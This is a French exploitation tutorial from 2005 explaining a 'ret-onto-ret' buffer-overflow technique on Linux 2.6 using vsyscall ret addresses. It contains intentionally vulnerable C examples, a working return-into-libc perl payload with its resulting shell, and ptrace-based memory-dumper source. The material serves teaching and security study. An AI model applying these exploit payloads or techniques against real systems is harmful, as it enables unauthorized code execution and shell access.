_ _ _ _ _ | | | | | | (_) | | _ __ ___| |_ ___ _ __ | |_ ___ _ __ ___| |_ _ _ __ | |_ ___ | '__/ _ \ __| / _ \| '_ \| __/ _ \ | '__/ _ \ __| | | '_ \| __/ _ \ | | | __/ |_ | (_) | | | | || (_) | | | | __/ |_ | | | | | || (_) | |_| \___|\__| \___/|_| |_|\__\___/ |_| \___|\__| |_|_| |_|\__\___/ _ _ | | | __ _____ _ _ ___ ___ __ _| | |___ \ \ / / __| | | / __|/ __/ _` | | / __| \ V /\__ \ |_| \__ \ (_| (_| | | \__ \ \_/ |___/\__, |___/\___\__,_|_|_|___/ __/ | |___/ -- [ ret-onto-ret-into-vsyscalls RORIV - Document daté du 18 Mars 2005. Synopsis : + Méthode d'exploitation originale de buffers overflows Caractéristiques : + ret-onto-ret + 2.6.x ret-into-vsyscalls + sur stack exécutable Points faibles de la méthode présentée : + sur stack exécutable + contexte particulier de la pile nécessaire Points forts de la méthode présentée : + contexte particulier fréquent + prédiction d'adresses + aucun NOP + aucun brute-force Sommaire : 1. Présentation du contexte et du problème 2. Solution du ret-onto-ret 3. Avancées : ret-into-vsyscalls sur 2.6 4. Bilan Annexe : return-into-libc Annexe 2 : code source resolver 1. LE CONTEXTE ET LE PROBLEME ----------------------------- La méthode que je présente à ceci d'originale qu'elle répond aux problèmes rencontrés lors de l'exploitation d'un buffer overflow sur un contexte particulier de la pile. Elle a pour origine un arrachage de cheveux mineur lors d'une tentative d'exploitation... Les difficultés techniques présentées sont fréquentes, nous verrons que le contexte exemple que nous étudierons s'inscrit dans une problématique générale facilement abordable. La méthode que nous décortiquerons ensuite permet de pallier les difficultés rencontrées en toute simplicité et avec une grande efficacité. D'où le sommaire. Suivez. La lecture de ce tutorial présuppose que vous savez exploiter un classique stack overflow. Disons autrement que si vous savez exploiter un stack overflow, vous comprendrez cet article. Zut... Vous êtes partis ? ... Ha non ? Vous êtes toujours là, très bien. Etudions un petit bout de code "scolaire", et situons-y la vulnérabilité. --- Exemple --- #include #include #include void copy(char *str) { char buf[64]; int i; memset(buf, 0, 64); for (i = 0; str[i]; i++) { buf[i] = str[i]; } } int main(int ac, char **av) { if (ac < 2) { fprintf(stderr, "I take at least one argument.\n"); return (0); } copy(av[1]); return (0); } --- Fin exemple --- Ce code ne fait rien d'intéressant (vous pouvez l'améliorer si vous voulez gâcher mon plaisir de produire du code inutile). Le programme copie une chaîne de caractère passée sur la ligne de commande dans un buffer de 64 octets à partir de la fonction copy(). Etant initiés aux stacks overflows, ou bien acharnés sur ce pauvre article, vous aurez deviné que la vulnérabilité se situe dans la fonction copy(). Si la chaîne est trop longue, on écrase, en dehors du buffer, EBP (si prologue) puis EIP. Nous supposons que le contexte d'exploitation (l'environnement d'exécution) nous empêche de brute-forcer, pour quelque raison que ce soit, l'adresse de retour sur un éventuel shellcode passé en argument. L'idée est donc de passer par une méthode efficace où la prédiction est un levier d'efficacité, par exemple un return-into-libc. Voilà posée la requête : exploiter un return-into-libc sur ce code. Pourquoi ? Pour profiter du fait que cette méthode, beaucoup plus précise, constitue une solution alternative à une attaque de force brute - surtout quand le buffer ne fait que 64 octets. Si vous ne connaissez pas le principe d'un return-into-libc, lisez l'annexe consacrée à l'explication de cette méthode. Revenez ici plus tard. Non, pas ici, deux paragraphes au dessus. Je postule désormais que vous comprenez qu'il est techniquement nécessaire de préparer un certain nombre de données sur la pile afin de voir aboutir un return-into-libc. Alors soyez attentifs à ce qui suit... Zoomons le code de la fonction copy(). L'adresse de la chaîne à copier est le seul argument à être passé à la fonction. Autrement dit, c'est le premier argument, il se trouve juste après EIP. Si l'élement provoquant le buffer overflow - ici une chaîne trop longue (et un code à chier des castors) - est l'un des premiers passé en argument, alors il devient impossible de l'écraser pour placer d'autres données sur la pile. Malheureusement ces "autres données" sont justement celles qui nous servent à réaliser un return-into-libc. Comprenez-vous bien pourquoi un ret-into-libc nous est interdit ? Ecraser le pointeur qui est utilisé pour la copie va détourner la copie sur une autre donnée que la chaîne de caractères originale et en parallèle la copie continue d'écraser le pointeur à partir de données aléatoires. Pour chaque octet copié sur le pointeur, les données concernées par celui-ci sautent... Danse folle qui se termine sur un octet nul ou une erreur de segmentation. 2. SOLUTION DU RET-ONTO-RET --------------------------- Comment passer outre cette difficulté ? Question piège, la réponse est dans le titre. Voilà l'état de la pile pour la fonction copy() avant l'exploitation : haut | ... | +-----------+ | *str | +-----------+ | EIP | +-----------+ | | | buf[64] | | | +-----------+ | ... | bas Si nous écrasons EIP avec l'adresse d'une instruction ret, un deuxième retour de fonction sera exécuté. Ce deuxième retour va prendre l'adresse pointée par le registre ESP, à savoir *str et la placer dans EIP. L'exécution continue sur notre chaîne de caractère, qui pourrait tout aussi bien contenir un shellcode. Comme l'exécution revient directement sur le début de notre chaîne, nous pouvons profiter pleinement des 64 octets du buffer pour placer un shellcode, sans avoir besoins d'instructions de type NOP, et en présupposant, bien sûr, que la pile soit exécutable. La prédiction est assurée automatiquement par la configuration de la pile. Un seul retour est ici nécessaire, car l'argument qui pointe notre shellcode est le premier. On peut envisager plusieurs retours pour faire coincider EIP et *str si ce pointeur n'est pas le premier, mais le deuxième ou troisième argument passé à la fonction vulnérable. Toute la difficulté se résume à trouver l'adresse d'une instruction ret, ce qui n'est pas réellement une difficulté en soi : la libc en contient assez pour nourrir toute une armée de shellcoders. On applique les méthodes habituelles de prédiction d'adresses si on n'a pas la main sur le procfs du système local. A moins que... 3. RET-INTO-VSYSCALLS SUR LINUX 2.6 ----------------------------------- Par chance, les développeurs du kernel ont eu la bonté de prendre en compte nos tracas, et ont intégré sur le noyau 2.6 un support pour les appels système virtuels nativement activé. Cet article est pour l'ignorant l'occasion d'en apprendre un peu plus sur les vsyscalls. Les appels système virtuels se présentent sous la forme de code exécutable mappé en espace noyau, mais dont le code est accessible depuis un processus user-land. Ils ont pour but d'accélérer le temps d'exécution de fonctions "basiques", normalement assurées par le noyau, mais dont le code pourrait tout aussi bien être exécuté sans passer par une interruption coûteuse en cycles processeurs. C'est par exemple le cas de la fonction (man 2) sigreturn() qui a son équivalent disponible en vsyscall. Vous l'aurez compris, si le code est exécutable en user-land, alors la région mémoire du code est mappée pour le processus. Confirmons : --> cat /proc/self/maps 08048000-0804c000 r-xp 00000000 03:01 589888 /bin/cat 0804c000-0804d000 rw-p 00003000 03:01 589888 /bin/cat 0804d000-0806e000 rw-p 0804d000 00:00 0 40000000-40016000 r-xp 00000000 03:01 671776 /lib/ld-2.3.2.so 40016000-40017000 rw-p 00015000 03:01 671776 /lib/ld-2.3.2.so 40017000-40018000 rw-p 40017000 00:00 0 40022000-4014b000 r-xp 00000000 03:01 2048049 /lib/tls/libc-2.3.2.so 4014b000-40153000 rw-p 00129000 03:01 2048049 /lib/tls/libc-2.3.2.so 40153000-40157000 rw-p 40153000 00:00 0 bffff000-c0000000 rw-p bffff000 00:00 0 ffffe000-fffff000 ---p 00000000 00:00 0 La région mémoire mappée à 0xffffe000 contient nos vsyscalls... Et peut-être un ret. On attache un processus avec GDB, on désassemble la région mémoire concernée, et qu'obtient-on en louchant un peu ? (gdb) x/i 0xffffe413 0xffffe413 <__kernel_vsyscall+19>: ret Il s'avère que sur de nombreux noyaux 2.6 vous pouvez être surs de trouver un return à cette adresse. A vérifier chez vous. Voilà une utilisation bien pratique des vsyscalls. 4. CONCLUSION ------------- Partant d'un problème simple nous avons trouvé une solution élégante pour retourner sans aucune difficulté sur du code exécutable placé sur la pile (ou dans le tas), en écrasant à partir de EIP, voire au delà, zero, un ou plusieurs arguments avec une adresse redondante pointant sur une instruction ret. ... Je n'ai rien à ajouter. Have fun. Clad Strife, * Greetz to Frhack team * ANNEXE : RETURNS-INTO-LIBC -------------------------- Cette annexe constitue un rappel sur les buffer overflows exploitables par return-into-libc. Sa lecture s'adresse aux personnes sachant au moins exploiter un classique stack overflow. La méthode du return-into-libc consiste, non pas à exécuter un shellcode, mais à détourner le programme en lui faisant exécuter du code qui, comme vous l'avez compris, est bien souvent dans une librairie telle que la libc. Et comme les librairies sont chargées à des adresses prédictibles sur les noyaux standards, on les retrouve très facilement d'un programme à l'autre. La libc, par exemple, contient toutes les fonctions utiles à l'exécution d'un shell. Un simple appel à (man 3) system(), avec l'adresse d'une chaîne "/bin/sh" ne suffirait-il pas à satisfaire certains de nos besoins ? (Si oui, c'est un aveu !). Il faut que vous visualisiez le processus suivant : vous venez d'écraser EIP avec l'adresse de la fonction system() située dans l'espace mémoire du processus vulnérable. Le programme saute sur system(). La fonction system() va faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher le paramètre que vous lui avez passé, et il s'attend pour cela à ce qu'il y ait un argument sur la pile. L'argument sur la pile, c'est l'adresse d'une chaîne de caractère "/bin/sh". Seulement, pas de bol, elle n'est pas là. Il faut écrire cet argument sur la pile si vous voulez que system() le récupère. Et où system() va-t-il récupérer ce fameux pointeur ? Juste après EIP bien sûr. La convention d'appel de fonctions veut que les arguments soit empilés dans l'ordre inverse de leur déclaration en C, juste avant d'empiler EIP. Ici, il n'y a qu'un argument. Voilà l'état d'une pile avec zoom sur EIP, avant exploitation d'une fonction vulnérable, et après écrasage des données sur la pile pour un return-into-libc. On dit de cette action que l'on "prépare la pile". AVANT : APRES : haut haut | ... | | ... | +-----------+ +-----------+ | QQCH2 | | QQCH2 | +-----------+ +-----------+ | QQCH1 | | "/bin/sh" | +-----------+ +-----------+ | ARG1 | | fake EIP | +-----------+ +-----------+ | EIP | | system() | +-----------+ +-----------+ | ... | | ... | bas bas + system() est l'adresse de la fonction system() dans la libc + fake EIP est le faux EIP sur lequel ESP va pointer lorsqu'il va rentrer dans la fonction system(). Pour la fonction system(), qui croit qu'on vient de l'appeler par un 'call', il y a un EIP là où pointe ESP quand on rentre dans la fonction. La convention des Hackers du Dimanche veut que l'on mette ici l'adresse de la fonction exit(), afin de quitter le programme "proprement" en cas de retour de system() (erreur ou fin d'exécution). + "/bin/sh" est un pointeur vers cette chaîne placé là où system() s'attend à le recevoir, c'est à dire après ce qu'il croit être EIP. Les questions qui se posent sont les suivantes : 1. Comment récupérer l'adresse de system() ? 2. Comment récupérer l'adresse de exit() ? 3. Comment récupérer l'adresse de "/bin/sh" quelque part ? 1 et 2 : utilisez gdb sur un processus en cours d'exécution, tapez x/x system, puis x/x exit. 3 : utilisez un scanner de mémoire basé sur ptrace() (memory dumper) ou un programme qui s'auto-parcourt. La libc contient la chaîne "/bin/sh", utilisée par exemple par la fonction (man 3) popen(). Faites attention : la libc doit-être la même et mappée à la même adresse pour le programme vulnérable et vos programmes d'essais de récupération d'adresses. En aveugle, on essaye de reproduire l'environnement cible et les jeux de dépendances de librairies (versions des logiciels). Cela est toujours plus ou moins hasardeux... Je vous propose de suivre les exemples qui suivent. Nous supposons un buffer overflow dans un programme exemple, nous voulons l'exploiter par un return-into-libc. --- Exemple --- #include #include #include void copy(char *str) { char buf[1024]; char *new = strdup(str); int i; for (i = 0; new[i]; i++) { buf[i] = new[i]; } buf[i] = 0; } int main(int ac, char **av) { if (ac < 2) { fprintf(stderr, "I take at least one argument.\n"); return (0); } copy(av[1]); printf("pid = %d\n", getpid()); while (1); return (0); } --- Fin exemple --- Ce code a été conçu pour vous permettre d'apprendre à faire un return-into-libc. Il copie la chaîne de caractères passée en argument par la fonction copy(). Cette fonction est vulnérable à un stack overflow, et permet d'écrire autant de données qu'on le souhaite au-delà du tampon buf. Cela nous est permis grâce au strdup() (sinon on écraserait le pointeur utilisé pendant la copie juste après EIP). Compilez et lancez. "while(1)" est une abomination qui consomme vos ressources. Cela devrait vous motiver à lancer très rapidement GDB sur le processus : $ gcc -o vuln vuln.c $ ./vuln toto pid = 1337 (autre shell) $ gdb ./vuln 1337 Voilà maintenant le processus stoppé, votre processeur peut souffler. Récupérons l'adresse de system() et d'exit(). (gdb) x/x system 0x400608a0 : 0x83e58955 (gdb) x/x exit 0x4004d0a0 : 0x57e58955 Bien, nous notons donc les adresses 0x400608a0 pour system() et 0x4004d0a0 pour exit(). Il nous faut maintenant trouver l'adresse de "/bin/sh", on va utiliser un memory dumper basé sur ptrace() adapté pour cette recherche. Les arguments qu'il devra prendre sont le PID du processus, et l'adresse de chargement de la libc. On y reviendra. Pour l'instant compilez le code donné dans l'annexe 2. On l'utilise ainsi : $ gcc -o memdump memdump.c $ cat /proc/1337/maps | grep libc 40022000-4014b000 r-xp 00000000 03:01 2048049 /lib/tls/libc-2.3.2.so 4014b000-40153000 rw-p 00129000 03:01 2048049 /lib/tls/libc-2.3.2.so $ ./memdump /bin/sh 1337 40022000 Searching... [/bin/sh] found in processus 3560 at : 0x40143735. Et voilà, nous avons l'adresse d'une chaîne pour ouvrir un shell. Il ne nous reste plus qu'à exploiter... Nous savons que le buffer fait 1024 octets. Si EBP est empilé lors du prologue (vérifier par un disass dans GDB) alors nous avons 1032 octets à écrire pour écraser entièrement EIP (1024 + 4 + 4). Nous devons donc passer l'argument suivant sur la ligne de commande : [1028 octets bourrage] [system()] [exit()] ["/bin/sh"] Ce qui nous donne, en little endian, pour system = 0x400608a0, exit = 0x4004d0a0 et "/bin/sh" = 0x40143735 : (gdb) r `perl -e 'print "x" x 1028, "\xa0\x08\x06\x40", "\xa0\xd0\x04\x40", "\x35\x37\x14\x40"'` Starting program: /tmp/vuln `perl -e 'print "x" x 1028, "\xa0\x08\x06\x40", "\xa0\xd0\x04\x40", "\x35\x37\x14\x40"'` sh-3.00$ Il se peut que 1028 ne soit pas la taille véritablement allouée par le code (cela dépend comment le compilateur gère l'alignement). Chez moi ce fut 1036, mais je ne l'ai pas reporté sur l'exemple. ANNEXE 2 : CODE SOURCE STRING RESOLVER -------------------------------------- --- String resolver source code (memdump.c) --- /* ** memdump.c for ** ** Comments : a string resolver. It is basic, slow, beta, and just provided ** 'as is' with no warranty as code example. ** ** Written by Clad Strife ** on Fri Mar 18 18:33:38 2005 - Paris */ #include #include #include #include #include #include void resolve_string(const char *str, int pid, void *base); int main(int ac, char **av) { void *base; void *result; int pid; /* ** We need 4 params : ** [progname] string PID 0x[base_address] */ if (ac < 4) { fprintf(stderr, "Usage :\n%s string PID 0x[base_address]\n", av[0]); return (1); } /* ** We init parameters */ base = (void *) strtol(av[3], 0, 16); pid = atoi(av[2]); /* ** We call the resolver */ resolve_string(av[1], pid, base); /* ** End of game. */ ptrace(PTRACE_DETACH, pid, 0, 0); return (0); } /* ** This function is based on ptrace(). It looks each byte of the memory for ** a string matching *str. ** It will print error messages on error while attaching but not if reading ** memory fails. */ void resolve_string(const char *str, int pid, void *base) { long *res; int length; int i; int j; int inc = sizeof(long); int flag = 0; /* disabled */ /* ** Attach processus */ if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) { perror("ptrace"); return; } wait4(pid, 0, 0, 0); /* ** length % inc should be equal to 0. */ length = strlen(str) + 1; if (length % inc) { length += inc - (length % inc); } if ((res = malloc(length)) == 0) { perror("malloc"); exit(1); } /* ** _Ugly_ memory parsing. */ printf ("Searching...\n"); while (1) { for (i = 0, j = 0; i < length; i += inc, j++) { void *tmpbase; tmpbase = (void *) ((long) base + i); /* ** Read memory */ if ((res[j] = ptrace(PTRACE_PEEKDATA, pid, tmpbase, 0)) == (-1)) { /* ** Error ? */ if (errno) { free(res); (flag) || printf("[%s] : not found.\n", str); return; } } } /* ** Compare data with requested string */ if (!strcmp((char *) res, str)) { printf("[%s] found in processus %d at : %p.\n", str, pid, base); flag = 1; } /* ** Look next bytes */ base = (void *) ((unsigned int) base + 1); } return; } -- [ Clad-Strife